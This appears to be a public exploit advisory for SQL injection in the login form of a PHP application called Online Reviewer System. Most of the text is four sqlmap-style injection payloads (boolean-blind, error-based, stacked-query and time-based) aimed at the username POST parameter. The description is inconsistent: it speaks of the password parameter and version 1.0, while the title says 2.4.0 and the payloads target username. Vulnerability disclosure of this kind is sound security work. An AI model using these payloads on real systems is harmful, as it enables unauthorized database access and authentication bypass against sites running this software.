Online Reviewer System 2.4.0 SQL Injection

`## [Sourcecodester-Online-Reviewer-System-2.4.0 SQL - 4 types of  
injection vulnerability](https://www.sourcecodester.com/php/12937/online-reviewer-system-using-phppdo.html)  
  
## [Vendor](https://www.sourcecodester.com/users/janobe)  
  
## Description:  
The password parameter appears of the Online Reviewer System 1.0 to be  
vulnerable to SQL injection attacks - 4 types of injection  
vulnerability.  
A single quote was submitted in the password parameter, and a database  
error message was returned.  
Two single quotes were then submitted and the error message disappeared.  
  
## Payloads:  
  
```mysql  
---  
Parameter: username (POST)  
Type: boolean-based blind  
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)  
Payload: username=TtzgjjZP' OR NOT  
2693=2693#&password=r1L!h4v!O1'&btn-login=Log In  
  
Type: error-based  
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or  
GROUP BY clause (FLOOR)  
Payload: username=TtzgjjZP' AND (SELECT 4139 FROM(SELECT  
COUNT(*),CONCAT(0x71707a7171,(SELECT  
(ELT(4139=4139,1))),0x71707a7a71,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)--  
GJJK&password=r1L!h4v!O1'&btn-login=Log In  
  
Type: stacked queries  
Title: MySQL >= 5.0.12 stacked queries (comment)  
Payload: username=TtzgjjZP';SELECT  
SLEEP(5)#&password=r1L!h4v!O1'&btn-login=Log In  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: username=TtzgjjZP' AND (SELECT 8716 FROM  
(SELECT(SLEEP(5)))MJXH)-- xWIO&password=r1L!h4v!O1'&btn-login=Log In  
---  
```  
`